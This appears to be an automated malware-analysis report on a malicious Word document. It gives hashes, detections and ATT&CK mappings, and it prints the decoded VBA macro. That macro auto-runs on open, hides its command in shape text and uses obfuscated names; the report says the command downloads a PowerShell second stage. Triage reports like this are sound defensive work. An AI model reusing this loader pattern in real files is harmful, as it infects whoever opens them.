Office (OLE) malware analysis — malicious · 2ee6bea3c759dfb8

MALICIOUS

Office (OLE)

67.6 KB Created: 2018-11-06 11:56:00 Authoring application: Microsoft Office Word First seen: 2019-11-20

MD5: 5cbdaf6cbea01fe7c85e6635650395d0 SHA-1: 89cee5475edd1138ff24442b30f6832bbd140d67 SHA-256: 2ee6bea3c759dfb82e373bc39c4c7727ab0fff582b60c0308ce64c4d9b44343e

172 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a VBA macro with a Document_Open subroutine that executes a complex, base64-encoded PowerShell command. This command appears to download and execute a second-stage payload, as indicated by the use of PowerShell and the obfuscated nature of the script. The presence of the 'CMD C:\WIndOws\SYStem32\Cmd /c "sET qOuG= ..."' string further confirms the intent to execute system commands.

Heuristics 7

ClamAV: Doc.Malware.00536d-6741784-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.00536d-6741784-0
Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code

Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro

Matched line in script

Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next

Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1148 bytes
SHA-256: `3c74e94a73620180ba18a2a39918f57d6b54aaa4068e584a188fecfc90b5cf30`
Detection ClamAV: No threats found Obfuscation or payload: likely 29 of 58 identifiers look randomly generated (e.g. 'OACstIIPtrjZjG') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "OACstIIPtrjZjG" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_open() On Error Resume Next Mlwcsm = dTofQ + pwMsr + BvRKv + zLPTJB * (RYNIj + polVE) HJFhrj = (HYmvb + ksaDJ + miwdc + jdBRQa * (sGkpF + ccrstl + jcizN + LufKIj / qLDIpH + iizzC)) hivlF = KJDwEE + OSMvcJ + rRZiCl + jwffu * (MdLkYC + SjHEEl) WBXts = QJNjUT + LXTKLW + GbXZVK + JUiRM * SbiHBz + NCXpiU kltZC = (KuiwX + RHojSH + JktMJM + XDEhrB * (qZjkr + MHhAJ)) BdtXA = ECHCqX + pwcvj + wWDTwX + Zlpwc * AvzzD + AMoAY + duiaOo + FYjnzK jRSMLZ = XLszY + fVKVfb + dizXB + XzQIz * (GJQuVo + RHXWh) SFNoX = bhkrZj + QpHpw / WObiF + azjBDs + juTRq + KQalF Const SInlHoarJW = 264685418 - 264685418 Shell@ Shapes(1).TextFrame.TextRange.Text + aCZSSidW + vKuCXG, SInlHoarJW MScOao = SJLGMR + mYwur + jDcnPc + iSOkQ * oCwQL + klAYSP + AnXWFc + OMIpo OCzubp = cGpHlS + EfiKX / (bmGvJH + EbtHb) End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.